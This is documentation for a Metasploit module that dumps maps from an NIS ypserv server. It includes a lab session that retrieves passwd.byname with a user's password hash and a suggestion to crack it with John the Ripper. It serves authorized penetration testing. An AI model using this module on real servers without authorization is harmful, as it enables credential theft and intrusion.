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Introduction

If you've worked with old Unix systems before, you've probably encountered NIS (Network Information Service). The most familiar way of describing it is a sort of hybrid between DNS and LDAP.

Oracle says the following about it:

NIS is a distributed naming service. It is a mechanism for identifying and locating network objects and resources. It provides a uniform storage and retrieval method for network-wide information in a transport-protocol and media-independent fashion.

And on its use:

By running NIS, the system administrator can distribute administrative databases, called maps, among a variety of servers (master and slaves). The administrator can update those databases from a centralized location in an automatic and reliable fashion to ensure that all clients share the same naming service information in a consistent manner throughout the network.

The module documented within will allow a tester to dump any map from an NIS server (running as ypserv). Usually, maps like passwd.byname contain things like hashes and user info, which can go a long way during a pentest.

Setup

Set up NIS as per https://help.ubuntu.com/community/SettingUpNISHowTo. If the link is down, you can find it via the Wayback Machine.

Options

PROTOCOL

Set this to either TCP or UDP. TCP is the default due to easy discovery.

DOMAIN

Set this to your NIS domain.

MAP

Set this to the NIS map you want to dump. The default is passwd. You can use the nicknames described in the module info instead of the full map names.

XDRTimeout

Set this to the timeout in seconds for XDR decoding of the response.

Usage

msf > use auxiliary/gather/nis_ypserv_map
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.0.2
rhost => 192.168.0.2
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
domain => gesellschaft
msf auxiliary(gather/nis_ypserv_map) > run

[+] 192.168.0.2:111 - Dumping map passwd.byname on domain gesellschaft:
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
games:*:5:60:games:/usr/games:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
uuidd:*:108:112::/run/uuidd:/bin/false
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
root:*:0:0:root:/root:/bin/bash
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
messagebus:*:107:111::/var/run/dbus:/bin/false
_apt:*:105:65534::/nonexistent:/bin/false
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
syslog:*:104:108::/home/syslog:/bin/false
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
pollinate:*:111:1::/var/cache/pollinate:/bin/false
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
lxd:*:106:65534::/var/lib/lxd/:/bin/false

[*] Auxiliary module execution completed
msf auxiliary(gather/nis_ypserv_map) >

After dumping a map, you can find it stored in loot later. You should be able to run something like John the Ripper directly on the passwd.byname map.

msf auxiliary(gather/nis_ypserv_map) > loot

Loot
====

host         service  type           name  content     info  path
----         -------  ----           ----  -------     ----  ----
192.168.0.2           passwd.byname        text/plain        /home/wvu/.msf4/loot/20180108143013_default_192.168.0.2_passwd.byname_509006.txt

msf auxiliary(gather/nis_ypserv_map) >